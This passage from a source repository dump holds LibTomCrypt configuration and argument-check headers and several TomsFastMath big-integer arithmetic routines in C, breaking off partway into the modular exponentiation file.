TOMCRYPT_H_ */ 99 | 100 | 101 | /* ref: $Format:%D$ */ 102 | /* git commit: $Format:%H$ */ 103 | /* commit time: $Format:%ai$ */ 104 | -------------------------------------------------------------------------------- /src/crypto/tc/tomcrypt_argchk.h: -------------------------------------------------------------------------------- 1 | /* LibTomCrypt, modular cryptographic library -- Tom St Denis 2 | * 3 | * LibTomCrypt is a library that provides various cryptographic 4 | * algorithms in a highly modular and flexible manner. 5 | * 6 | * The library is free for all purposes without any express 7 | * guarantee it works. 8 | */ 9 | 10 | /* Defines the LTC_ARGCHK macro used within the library */ 11 | /* ARGTYPE is defined in tomcrypt_cfg.h */ 12 | #if ARGTYPE == 0 13 | 14 | #include 15 | 16 | /* this is the default LibTomCrypt macro */ 17 | #if defined(__clang__) || defined(__GNUC_MINOR__) 18 | #define NORETURN __attribute__ ((noreturn)) 19 | #else 20 | #define NORETURN 21 | #endif 22 | 23 | void crypt_argchk(const char *v, const char *s, int d) NORETURN; 24 | #define LTC_ARGCHK(x) do { if (!(x)) { crypt_argchk(#x, __FILE__, __LINE__); } }while(0) 25 | #define LTC_ARGCHKVD(x) do { if (!(x)) { crypt_argchk(#x, __FILE__, __LINE__); } }while(0) 26 | 27 | #elif ARGTYPE == 1 28 | 29 | /* fatal type of error */ 30 | #define LTC_ARGCHK(x) assert((x)) 31 | #define LTC_ARGCHKVD(x) LTC_ARGCHK(x) 32 | 33 | #elif ARGTYPE == 2 34 | 35 | #define LTC_ARGCHK(x) if (!(x)) { fprintf(stderr, "\nwarning: ARGCHK failed at %s:%d\n", __FILE__, __LINE__); } 36 | #define LTC_ARGCHKVD(x) LTC_ARGCHK(x) 37 | 38 | #elif ARGTYPE == 3 39 | 40 | #define LTC_ARGCHK(x) 41 | #define LTC_ARGCHKVD(x) LTC_ARGCHK(x) 42 | 43 | #elif ARGTYPE == 4 44 | 45 | #define LTC_ARGCHK(x) if (!(x)) return CRYPT_INVALID_ARG; 46 | #define LTC_ARGCHKVD(x) if (!(x)) return; 47 | 48 | #endif 49 | 50 | 51 | /* ref: $Format:%D$ */ 52 | /* git commit: $Format:%H$ */ 53 | /* commit time: $Format:%ai$ */ 54 | -------------------------------------------------------------------------------- /src/crypto/tc/tomcrypt_cfg.h: -------------------------------------------------------------------------------- 1 | /* LibTomCrypt, modular cryptographic library -- Tom St Denis 2 | * 3 | * LibTomCrypt is a library that provides various cryptographic 4 | * algorithms in a highly modular and flexible manner. 5 | * 6 | * The library is free for all purposes without any express 7 | * guarantee it works. 8 | */ 9 | 10 | /* This is the build config file. 11 | * 12 | * With this you can setup what to inlcude/exclude automatically during any build. Just comment 13 | * out the line that #define's the word for the thing you want to remove. phew! 14 | */ 15 | 16 | #ifndef TOMCRYPT_CFG_H 17 | #define TOMCRYPT_CFG_H 18 | 19 | #if defined(_WIN32) || defined(_MSC_VER) 20 | #define LTC_CALL __cdecl 21 | #elif !defined(LTC_CALL) 22 | #define LTC_CALL 23 | #endif 24 | 25 | #ifndef LTC_EXPORT 26 | #define LTC_EXPORT 27 | #endif 28 | 29 | /* certain platforms use macros for these, making the prototypes broken */ 30 | #ifndef LTC_NO_PROTOTYPES 31 | 32 | /* you can change how memory allocation works ... */ 33 | LTC_EXPORT void * LTC_CALL XMALLOC(size_t n); 34 | LTC_EXPORT void * LTC_CALL XREALLOC(void *p, size_t n); 35 | LTC_EXPORT void * LTC_CALL XCALLOC(size_t n, size_t s); 36 | LTC_EXPORT void LTC_CALL XFREE(void *p); 37 | 38 | LTC_EXPORT void LTC_CALL XQSORT(void *base, size_t nmemb, size_t size, int(*compar)(const void *, const void *)); 39 | 40 | 41 | /* change the clock function too */ 42 | LTC_EXPORT clock_t LTC_CALL XCLOCK(void); 43 | 44 | /* various other functions */ 45 | LTC_EXPORT void * LTC_CALL XMEMCPY(void *dest, const void *src, size_t n); 46 | LTC_EXPORT int LTC_CALL XMEMCMP(const void *s1, const void *s2, size_t n); 47 | LTC_EXPORT void * LTC_CALL XMEMSET(void *s, int c, size_t n); 48 | 49 | LTC_EXPORT int LTC_CALL XSTRCMP(const char *s1, const char *s2); 50 | 51 | #endif 52 | 53 | /* some compilers do not like "inline" (or maybe "static inline"), namely: HP cc, IBM xlc */ 54 | #if defined(__GNUC__) || defined(__xlc__) 55 | #define LTC_INLINE __inline__ 56 | #elif defined(_MSC_VER) || defined(__HP_cc) 57 | #define LTC_INLINE __inline 58 | #elif defined(__STDC_VERSION__) && __STDC_VERSION__ >= 199901L 59 | #define LTC_INLINE inline 60 | #else 61 | #define LTC_INLINE 62 | #endif 63 | 64 | /* type of argument checking, 0=default, 1=fatal and 2=error+continue, 3=nothing */ 65 | #ifndef ARGTYPE 66 | #define ARGTYPE 3 67 | #endif 68 | 69 | #undef LTC_ENCRYPT 70 | #define LTC_ENCRYPT 0 71 | #undef LTC_DECRYPT 72 | #define LTC_DECRYPT 1 73 | 74 | /* Controls endianess and size of registers. Leave uncommented to get platform neutral [slower] code 75 | * 76 | * Note: in order to use the optimized macros your platform must support unaligned 32 and 64 bit read/writes. 77 | * The x86 platforms allow this but some others [ARM for instance] do not. On those platforms you **MUST** 78 | * use the portable [slower] macros. 79 | */ 80 | /* detect x86/i386 32bit */ 81 | #if defined(__i386__) || defined(__i386) || defined(_M_IX86) 82 | #define ENDIAN_LITTLE 83 | #define ENDIAN_32BITWORD 84 | #define LTC_FAST 85 | #endif 86 | 87 | /* detect amd64/x64 */ 88 | #if defined(__x86_64__) || defined(_M_X64) || defined(_M_AMD64) 89 | #define ENDIAN_LITTLE 90 | #define ENDIAN_64BITWORD 91 | #define LTC_FAST 92 | #endif 93 | 94 | /* detect PPC32 */ 95 | #if defined(LTC_PPC32) 96 | #define ENDIAN_BIG 97 | #define ENDIAN_32BITWORD 98 | #define LTC_FAST 99 | #endif 100 | 101 | /* detects MIPS R5900 processors (PS2) */ 102 | #if (defined(__R5900) || defined(R5900) || defined(__R5900__)) && (defined(_mips) || defined(__mips__) || defined(mips)) 103 | #define ENDIAN_64BITWORD 104 | #if defined(_MIPSEB) || defined(__MIPSEB) || defined(__MIPSEB__) 105 | #define ENDIAN_BIG 106 | #endif 107 | #define ENDIAN_LITTLE 108 | #endif 109 | #endif 110 | 111 | /* detect AIX */ 112 | #if defined(_AIX) && defined(_BIG_ENDIAN) 113 | #define ENDIAN_BIG 114 | #if defined(__LP64__) || defined(_ARCH_PPC64) 115 | #define ENDIAN_64BITWORD 116 | #else 117 | #define ENDIAN_32BITWORD 118 | #endif 119 | #endif 120 | 121 | /* detect HP-UX */ 122 | #if defined(__hpux) || defined(__hpux__) 123 | #define ENDIAN_BIG 124 | #if defined(__ia64) || defined(__ia64__) || defined(__LP64__) 125 | #define ENDIAN_64BITWORD 126 | #else 127 | #define ENDIAN_32BITWORD 128 | #endif 129 | #endif 130 | 131 | /* detect Apple OS X */ 132 | #if defined(__APPLE__) && defined(__MACH__) 133 | #if defined(__LITTLE_ENDIAN__) || defined(__x86_64__) 134 | #define ENDIAN_LITTLE 135 | #else 136 | #define ENDIAN_BIG 137 | #endif 138 | #if defined(__LP64__) || defined(__x86_64__) 139 | #define ENDIAN_64BITWORD 140 | #else 141 | #define ENDIAN_32BITWORD 142 | #endif 143 | #endif 144 | 145 | /* detect SPARC and SPARC64 */ 146 | #if defined(__sparc__) || defined(__sparc) 147 | #define ENDIAN_BIG 148 | #if defined(__arch64__) || defined(__sparcv9) || defined(__sparc_v9__) 149 | #define ENDIAN_64BITWORD 150 | #else 151 | #define ENDIAN_32BITWORD 152 | #endif 153 | #endif 154 | 155 | /* detect IBM S390(x) */ 156 | #if defined(__s390x__) || defined(__s390__) 157 | #define ENDIAN_BIG 158 | #if defined(__s390x__) 159 | #define ENDIAN_64BITWORD 160 | #else 161 | #define ENDIAN_32BITWORD 162 | #endif 163 | #endif 164 | 165 | /* detect PPC64 */ 166 | #if defined(__powerpc64__) || defined(__ppc64__) || defined(__PPC64__) 167 | #define ENDIAN_64BITWORD 168 | #if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__ 169 | #define ENDIAN_BIG 170 | #elif __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ 171 | #define ENDIAN_LITTLE 172 | #endif 173 | #define LTC_FAST 174 | #endif 175 | 176 | /* endianness fallback */ 177 | #if !defined(ENDIAN_BIG) && !defined(ENDIAN_LITTLE) 178 | #if defined(_BYTE_ORDER) && _BYTE_ORDER == _BIG_ENDIAN || \ 179 | defined(__BYTE_ORDER) && __BYTE_ORDER == __BIG_ENDIAN || \ 180 | defined(__BYTE_ORDER__) && __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__ || \ 181 | defined(__BIG_ENDIAN__) || \ 182 | defined(__ARMEB__) || defined(__THUMBEB__) || defined(__AARCH64EB__) || \ 183 | defined(_MIPSEB) || defined(__MIPSEB) || defined(__MIPSEB__) 184 | #define ENDIAN_BIG 185 | #elif defined(_BYTE_ORDER) && _BYTE_ORDER == _LITTLE_ENDIAN || \ 186 | defined(__BYTE_ORDER) && __BYTE_ORDER == __LITTLE_ENDIAN || \ 187 | defined(__BYTE_ORDER__) && __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ || \ 188 | defined(__LITTLE_ENDIAN__) || \ 189 | defined(__ARMEL__) || defined(__THUMBEL__) || defined(__AARCH64EL__) || \ 190 | defined(_MIPSEL) || defined(__MIPSEL) || defined(__MIPSEL__) 191 | #define ENDIAN_LITTLE 192 | #else 193 | #error Cannot detect endianness 194 | #endif 195 | #endif 196 | 197 | /* ulong64: 64-bit data type */ 198 | #ifdef _MSC_VER 199 | #define CONST64(n) n ## ui64 200 | #ifndef LTC_ULONG64 201 | #define LTC_ULONG64 202 | typedef unsigned __int64 ulong64; 203 | #endif 204 | #else 205 | #define CONST64(n) n ## ULL 206 | #ifndef LTC_ULONG64 207 | #define LTC_ULONG64 208 | typedef unsigned long long ulong64; 209 | #endif 210 | #endif 211 | 212 | /* ulong32: "32-bit at least" data type */ 213 | #if defined(__x86_64__) || defined(_M_X64) || defined(_M_AMD64) || \ 214 | defined(__powerpc64__) || defined(__ppc64__) || defined(__PPC64__) || \ 215 | defined(__s390x__) || defined(__arch64__) || defined(__aarch64__) || \ 216 | defined(__sparcv9) || defined(__sparc_v9__) || defined(__sparc64__) || \ 217 | defined(__ia64) || defined(__ia64__) || defined(__itanium__) || defined(_M_IA64) || \ 218 | defined(__LP64__) || defined(_LP64) || defined(__64BIT__) 219 | typedef unsigned ulong32; 220 | #if !defined(ENDIAN_64BITWORD) && !defined(ENDIAN_32BITWORD) 221 | #define ENDIAN_64BITWORD 222 | #endif 223 | #else 224 | typedef unsigned long ulong32; 225 | #if !defined(ENDIAN_64BITWORD) && !defined(ENDIAN_32BITWORD) 226 | #define ENDIAN_32BITWORD 227 | #endif 228 | #endif 229 | 230 | #if defined(ENDIAN_64BITWORD) && !defined(_MSC_VER) 231 | typedef unsigned long long ltc_mp_digit; 232 | #else 233 | typedef unsigned long ltc_mp_digit; 234 | #endif 235 | 236 | /* No asm is a quick way to disable anything "not portable" */ 237 | #ifdef LTC_NO_ASM 238 | #define ENDIAN_NEUTRAL 239 | #undef ENDIAN_32BITWORD 240 | #undef ENDIAN_64BITWORD 241 | #undef LTC_FAST 242 | #define LTC_NO_ROLC 243 | #define LTC_NO_BSWAP 244 | #endif 245 | 246 | /* No LTC_FAST if: explicitly disabled OR non-gcc/non-clang compiler OR old gcc OR using -ansi -std=c99 */ 247 | #if defined(LTC_NO_FAST) || (__GNUC__ < 4) || defined(__STRICT_ANSI__) 248 | #undef LTC_FAST 249 | #endif 250 | 251 | #ifdef LTC_FAST 252 | #define LTC_FAST_TYPE_PTR_CAST(x) ((LTC_FAST_TYPE*)(void*)(x)) 253 | #ifdef ENDIAN_64BITWORD 254 | typedef ulong64 __attribute__((__may_alias__)) LTC_FAST_TYPE; 255 | #else 256 | typedef ulong32 __attribute__((__may_alias__)) LTC_FAST_TYPE; 257 | #endif 258 | #endif 259 | 260 | #if !defined(ENDIAN_NEUTRAL) && (defined(ENDIAN_BIG) || defined(ENDIAN_LITTLE)) && !(defined(ENDIAN_32BITWORD) || defined(ENDIAN_64BITWORD)) 261 | #error You must specify a word size as well as endianess in tomcrypt_cfg.h 262 | #endif 263 | 264 | #if !(defined(ENDIAN_BIG) || defined(ENDIAN_LITTLE)) 265 | #define ENDIAN_NEUTRAL 266 | #endif 267 | 268 | #if (defined(ENDIAN_32BITWORD) && defined(ENDIAN_64BITWORD)) 269 | #error Cannot be 32 and 64 bit words... 270 | #endif 271 | 272 | /* gcc 4.3 and up has a bswap builtin; detect it by gcc version. 273 | * clang also supports the bswap builtin, and although clang pretends 274 | * to be gcc (macro-wise, anyway), clang pretends to be a version 275 | * prior to gcc 4.3, so we can't detect bswap that way. Instead, 276 | * clang has a __has_builtin mechanism that can be used to check 277 | * for builtins: 278 | * http://clang.llvm.org/docs/LanguageExtensions.html#feature_check */ 279 | #ifndef __has_builtin 280 | #define __has_builtin(x) 0 281 | #endif 282 | #if !defined(LTC_NO_BSWAP) && defined(__GNUC__) && \ 283 | ((__GNUC__ * 100 + __GNUC_MINOR__ >= 403) || \ 284 | (__has_builtin(__builtin_bswap32) && __has_builtin(__builtin_bswap64))) 285 | #define LTC_HAVE_BSWAP_BUILTIN 286 | #endif 287 | 288 | #if defined(__GNUC__) && (__GNUC__ * 100 + __GNUC_MINOR__ >= 301) 289 | #define LTC_DEPRECATED __attribute__((deprecated)) 290 | #elif defined(_MSC_VER) && _MSC_VER >= 1500 291 | /* supported since Visual Studio 2008 */ 292 | #define LTC_DEPRECATED __declspec(deprecated) 293 | #else 294 | #define LTC_DEPRECATED 295 | #endif 296 | 297 | /* ref: $Format:%D$ */ 298 | /* git commit: $Format:%H$ */ 299 | /* commit time: $Format:%ai$ */ 300 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_2expt.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | #include 11 | 12 | /* computes a = 2**b */ 13 | void fp_2expt(fp_int *a, int b) 14 | { 15 | int z; 16 | 17 | /* zero a as per default */ 18 | fp_zero (a); 19 | 20 | if (b < 0) { 21 | return; 22 | } 23 | 24 | z = b / DIGIT_BIT; 25 | if (z >= FP_SIZE) { 26 | return; 27 | } 28 | 29 | /* set the used count of where the bit will go */ 30 | a->used = z + 1; 31 | 32 | /* put the single bit in its place */ 33 | a->dp[z] = ((fp_digit)1) << (b % DIGIT_BIT); 34 | } 35 | 36 | 37 | /* $Source$ */ 38 | /* $Revision$ */ 39 | /* $Date$ */ 40 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_add.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | #include 11 | 12 | void fp_add(fp_int *a, fp_int *b, fp_int *c) 13 | { 14 | int sa, sb; 15 | 16 | /* get sign of both inputs */ 17 | sa = a->sign; 18 | sb = b->sign; 19 | 20 | /* handle two cases, not four */ 21 | if (sa == sb) { 22 | /* both positive or both negative */ 23 | /* add their magnitudes, copy the sign */ 24 | c->sign = sa; 25 | s_fp_add (a, b, c); 26 | } else { 27 | /* one positive, the other negative */ 28 | /* subtract the one with the greater magnitude from */ 29 | /* the one of the lesser magnitude. The result gets */ 30 | /* the sign of the one with the greater magnitude. */ 31 | if (fp_cmp_mag (a, b) == FP_LT) { 32 | c->sign = sb; 33 | s_fp_sub (b, a, c); 34 | } else { 35 | c->sign = sa; 36 | s_fp_sub (a, b, c); 37 | } 38 | } 39 | } 40 | 41 | /* $Source$ */ 42 | /* $Revision$ */ 43 | /* $Date$ */ 44 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_cmp.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | #include 11 | 12 | int fp_cmp(fp_int *a, fp_int *b) 13 | { 14 | if (a->sign == FP_NEG && b->sign == FP_ZPOS) { 15 | return FP_LT; 16 | } else if (a->sign == FP_ZPOS && b->sign == FP_NEG) { 17 | return FP_GT; 18 | } else { 19 | /* compare digits */ 20 | if (a->sign == FP_NEG) { 21 | /* if negative compare opposite direction */ 22 | return fp_cmp_mag(b, a); 23 | } else { 24 | return fp_cmp_mag(a, b); 25 | } 26 | } 27 | } 28 | 29 | /* $Source$ */ 30 | /* $Revision$ */ 31 | /* $Date$ */ 32 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_cmp_d.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | #include 11 | 12 | /* compare against a single digit */ 13 | int fp_cmp_d(fp_int *a, fp_digit b) 14 | { 15 | /* compare based on sign */ 16 | if ((b && a->used == 0) || a->sign == FP_NEG) { 17 | return FP_LT; 18 | } 19 | 20 | /* compare based on magnitude */ 21 | if (a->used > 1) { 22 | return FP_GT; 23 | } 24 | 25 | /* compare the only digit of a to b */ 26 | if (a->dp[0] > b) { 27 | return FP_GT; 28 | } else if (a->dp[0] < b) { 29 | return FP_LT; 30 | } else { 31 | return FP_EQ; 32 | } 33 | 34 | } 35 | 36 | /* $Source$ */ 37 | /* $Revision$ */ 38 | /* $Date$ */ 39 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_cmp_mag.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | #include 11 | 12 | int fp_cmp_mag(fp_int *a, fp_int *b) 13 | { 14 | int x; 15 | 16 | if (a->used > b->used) { 17 | return FP_GT; 18 | } else if (a->used < b->used) { 19 | return FP_LT; 20 | } else { 21 | for (x = a->used - 1; x >= 0; x--) { 22 | if (a->dp[x] > b->dp[x]) { 23 | return FP_GT; 24 | } else if (a->dp[x] < b->dp[x]) { 25 | return FP_LT; 26 | } 27 | } 28 | } 29 | return FP_EQ; 30 | } 31 | 32 | 33 | /* $Source$ */ 34 | /* $Revision$ */ 35 | /* $Date$ */ 36 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_count_bits.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | #include 11 | 12 | int fp_count_bits (fp_int * a) 13 | { 14 | int r; 15 | fp_digit q; 16 | 17 | /* shortcut */ 18 | if (a->used == 0) { 19 | return 0; 20 | } 21 | 22 | /* get number of digits and add that */ 23 | r = (a->used - 1) * DIGIT_BIT; 24 | 25 | /* take the last digit and count the bits in it */ 26 | q = a->dp[a->used - 1]; 27 | while (q > ((fp_digit) 0)) { 28 | ++r; 29 | q >>= ((fp_digit) 1); 30 | } 31 | return r; 32 | } 33 | 34 | /* $Source$ */ 35 | /* $Revision$ */ 36 | /* $Date$ */ 37 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_div.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | #include 11 | 12 | /* a/b => cb + d == a */ 13 | int fp_div(fp_int *a, fp_int *b, fp_int *c, fp_int *d) 14 | { 15 | fp_int q, x, y, t1, t2; 16 | int n, t, i, norm, neg; 17 | 18 | /* is divisor zero ? */ 19 | if (fp_iszero (b) == 1) { 20 | return FP_VAL; 21 | } 22 | 23 | /* if a < b then q=0, r = a */ 24 | if (fp_cmp_mag (a, b) == FP_LT) { 25 | if (d != NULL) { 26 | fp_copy (a, d); 27 | } 28 | if (c != NULL) { 29 | fp_zero (c); 30 | } 31 | return FP_OKAY; 32 | } 33 | 34 | fp_init(&q); 35 | q.used = a->used + 2; 36 | 37 | fp_init(&t1); 38 | fp_init(&t2); 39 | fp_init_copy(&x, a); 40 | fp_init_copy(&y, b); 41 | 42 | /* fix the sign */ 43 | neg = (a->sign == b->sign) ? FP_ZPOS : FP_NEG; 44 | x.sign = y.sign = FP_ZPOS; 45 | 46 | /* normalize both x and y, ensure that y >= b/2, [b == 2**DIGIT_BIT] */ 47 | norm = fp_count_bits(&y) % DIGIT_BIT; 48 | if (norm < (int)(DIGIT_BIT-1)) { 49 | norm = (DIGIT_BIT-1) - norm; 50 | fp_mul_2d (&x, norm, &x); 51 | fp_mul_2d (&y, norm, &y); 52 | } else { 53 | norm = 0; 54 | } 55 | 56 | /* note hac does 0 based, so if used==5 then its 0,1,2,3,4, e.g. use 4 */ 57 | n = x.used - 1; 58 | t = y.used - 1; 59 | 60 | /* while (x >= y*b**n-t) do { q[n-t] += 1; x -= y*b**{n-t} } */ 61 | fp_lshd (&y, n - t); /* y = y*b**{n-t} */ 62 | 63 | while (fp_cmp (&x, &y) != FP_LT) { 64 | ++(q.dp[n - t]); 65 | fp_sub (&x, &y, &x); 66 | } 67 | 68 | /* reset y by shifting it back down */ 69 | fp_rshd (&y, n - t); 70 | 71 | /* step 3. for i from n down to (t + 1) */ 72 | for (i = n; i >= (t + 1); i--) { 73 | if (i > x.used) { 74 | continue; 75 | } 76 | 77 | /* step 3.1 if xi == yt then set q{i-t-1} to b-1, 78 | * otherwise set q{i-t-1} to (xi*b + x{i-1})/yt */ 79 | if (x.dp[i] == y.dp[t]) { 80 | q.dp[i - t - 1] = ((((fp_word)1) << DIGIT_BIT) - 1); 81 | } else { 82 | fp_word tmp; 83 | tmp = ((fp_word) x.dp[i]) << ((fp_word) DIGIT_BIT); 84 | tmp |= ((fp_word) x.dp[i - 1]); 85 | tmp /= ((fp_word) y.dp[t]); 86 | q.dp[i - t - 1] = (fp_digit) (tmp); 87 | } 88 | 89 | /* while (q{i-t-1} * (yt * b + y{t-1})) > 90 | xi * b**2 + xi-1 * b + xi-2 91 | 92 | do q{i-t-1} -= 1; 93 | */ 94 | q.dp[i - t - 1] = (q.dp[i - t - 1] + 1); 95 | do { 96 | q.dp[i - t - 1] = (q.dp[i - t - 1] - 1); 97 | 98 | /* find left hand */ 99 | fp_zero (&t1); 100 | t1.dp[0] = (t - 1 < 0) ? 0 : y.dp[t - 1]; 101 | t1.dp[1] = y.dp[t]; 102 | t1.used = 2; 103 | fp_mul_d (&t1, q.dp[i - t - 1], &t1); 104 | 105 | /* find right hand */ 106 | t2.dp[0] = (i - 2 < 0) ? 0 : x.dp[i - 2]; 107 | t2.dp[1] = (i - 1 < 0) ? 0 : x.dp[i - 1]; 108 | t2.dp[2] = x.dp[i]; 109 | t2.used = 3; 110 | } while (fp_cmp_mag(&t1, &t2) == FP_GT); 111 | 112 | /* step 3.3 x = x - q{i-t-1} * y * b**{i-t-1} */ 113 | fp_mul_d (&y, q.dp[i - t - 1], &t1); 114 | fp_lshd (&t1, i - t - 1); 115 | fp_sub (&x, &t1, &x); 116 | 117 | /* if x < 0 then { x = x + y*b**{i-t-1}; q{i-t-1} -= 1; } */ 118 | if (x.sign == FP_NEG) { 119 | fp_copy (&y, &t1); 120 | fp_lshd (&t1, i - t - 1); 121 | fp_add (&x, &t1, &x); 122 | q.dp[i - t - 1] = q.dp[i - t - 1] - 1; 123 | } 124 | } 125 | 126 | /* now q is the quotient and x is the remainder 127 | * [which we have to normalize] 128 | */ 129 | 130 | /* get sign before writing to c */ 131 | x.sign = x.used == 0 ? FP_ZPOS : a->sign; 132 | 133 | if (c != NULL) { 134 | fp_clamp (&q); 135 | fp_copy (&q, c); 136 | c->sign = neg; 137 | } 138 | 139 | if (d != NULL) { 140 | fp_div_2d (&x, norm, &x, NULL); 141 | 142 | /* the following is a kludge, essentially we were seeing the right remainder but 143 | with excess digits that should have been zero 144 | */ 145 | for (i = b->used; i < x.used; i++) { 146 | x.dp[i] = 0; 147 | } 148 | fp_clamp(&x); 149 | fp_copy (&x, d); 150 | } 151 | 152 | return FP_OKAY; 153 | } 154 | 155 | /* $Source$ */ 156 | /* $Revision$ */ 157 | /* $Date$ */ 158 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_div_2.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | #include 11 | 12 | /* b = a/2 */ 13 | void fp_div_2(fp_int * a, fp_int * b) 14 | { 15 | int x, oldused; 16 | 17 | oldused = b->used; 18 | b->used = a->used; 19 | { 20 | register fp_digit r, rr, *tmpa, *tmpb; 21 | 22 | /* source alias */ 23 | tmpa = a->dp + b->used - 1; 24 | 25 | /* dest alias */ 26 | tmpb = b->dp + b->used - 1; 27 | 28 | /* carry */ 29 | r = 0; 30 | for (x = b->used - 1; x >= 0; x--) { 31 | /* get the carry for the next iteration */ 32 | rr = *tmpa & 1; 33 | 34 | /* shift the current digit, add in carry and store */ 35 | *tmpb-- = (*tmpa-- >> 1) | (r << (DIGIT_BIT - 1)); 36 | 37 | /* forward carry to next iteration */ 38 | r = rr; 39 | } 40 | 41 | /* zero excess digits */ 42 | tmpb = b->dp + b->used; 43 | for (x = b->used; x < oldused; x++) { 44 | *tmpb++ = 0; 45 | } 46 | } 47 | b->sign = a->sign; 48 | fp_clamp (b); 49 | } 50 | 51 | /* $Source$ */ 52 | /* $Revision$ */ 53 | /* $Date$ */ 54 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_div_2d.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | #include 11 | 12 | /* c = a / 2**b */ 13 | void fp_div_2d(fp_int *a, int b, fp_int *c, fp_int *d) 14 | { 15 | fp_digit D, r, rr; 16 | int x; 17 | fp_int t; 18 | 19 | /* if the shift count is <= 0 then we do no work */ 20 | if (b <= 0) { 21 | fp_copy (a, c); 22 | if (d != NULL) { 23 | fp_zero (d); 24 | } 25 | return; 26 | } 27 | 28 | fp_init(&t); 29 | 30 | /* get the remainder */ 31 | if (d != NULL) { 32 | fp_mod_2d (a, b, &t); 33 | } 34 | 35 | /* copy */ 36 | fp_copy(a, c); 37 | 38 | /* shift by as many digits in the bit count */ 39 | if (b >= (int)DIGIT_BIT) { 40 | fp_rshd (c, b / DIGIT_BIT); 41 | } 42 | 43 | /* shift any bit count < DIGIT_BIT */ 44 | D = (fp_digit) (b % DIGIT_BIT); 45 | if (D != 0) { 46 | register fp_digit *tmpc, mask, shift; 47 | 48 | /* mask */ 49 | mask = (((fp_digit)1) << D) - 1; 50 | 51 | /* shift for lsb */ 52 | shift = DIGIT_BIT - D; 53 | 54 | /* alias */ 55 | tmpc = c->dp + (c->used - 1); 56 | 57 | /* carry */ 58 | r = 0; 59 | for (x = c->used - 1; x >= 0; x--) { 60 | /* get the lower bits of this word in a temp */ 61 | rr = *tmpc & mask; 62 | 63 | /* shift the current word and mix in the carry bits from the previous word */ 64 | *tmpc = (*tmpc >> D) | (r << shift); 65 | --tmpc; 66 | 67 | /* set the carry to the carry bits of the current word found above */ 68 | r = rr; 69 | } 70 | } 71 | fp_clamp (c); 72 | if (d != NULL) { 73 | fp_copy (&t, d); 74 | } 75 | } 76 | 77 | /* $Source$ */ 78 | /* $Revision$ */ 79 | /* $Date$ */ 80 | -------------------------------------------------------------------------------- /src/crypto/tfm/fp_exptmod.c: -------------------------------------------------------------------------------- 1 | /* TomsFastMath, a fast ISO C bignum library. 2 | * 3 | * This project is meant to fill in where LibTomMath 4 | * falls short. That is speed ;-) 5 | * 6 | * This project is public domain and free for all purposes. 7 | * 8 | * Tom St Denis, tomstdenis@gmail.com 9 | */ 10 | #include 11 | 12 | #ifdef TFM_TIMING_RESISTANT 13 | 14 | /* timing resistant montgomery ladder based exptmod 15 | 16 | Based on work by Marc Joye, Sung-Ming Yen, "The Montgomery Powering Ladder", Cryptographic Hardware and Embedded Systems, CHES 2002 17 | */ 18 | static int _fp_exptmod(fp_int * G, fp_int * X, fp_int * P, fp_int * Y) 19 | { 20 | fp_int R[2]; 21 | fp_digit buf, mp; 22 | int err, bitcnt, digidx, y; 23 | 24 | /* now setup montgomery */ 25 | if ((err = fp_montgomery_setup (P, &mp)) != FP_OKAY) { 26 | return err; 27 | } 28 | 29 | fp_init(&R[0]); 30 | fp_init(&R[1]); 31 | 32 | /* now we need R mod m */ 33 | fp_montgomery_calc_normalization (&R[0], P); 34 | 35 | /* now set 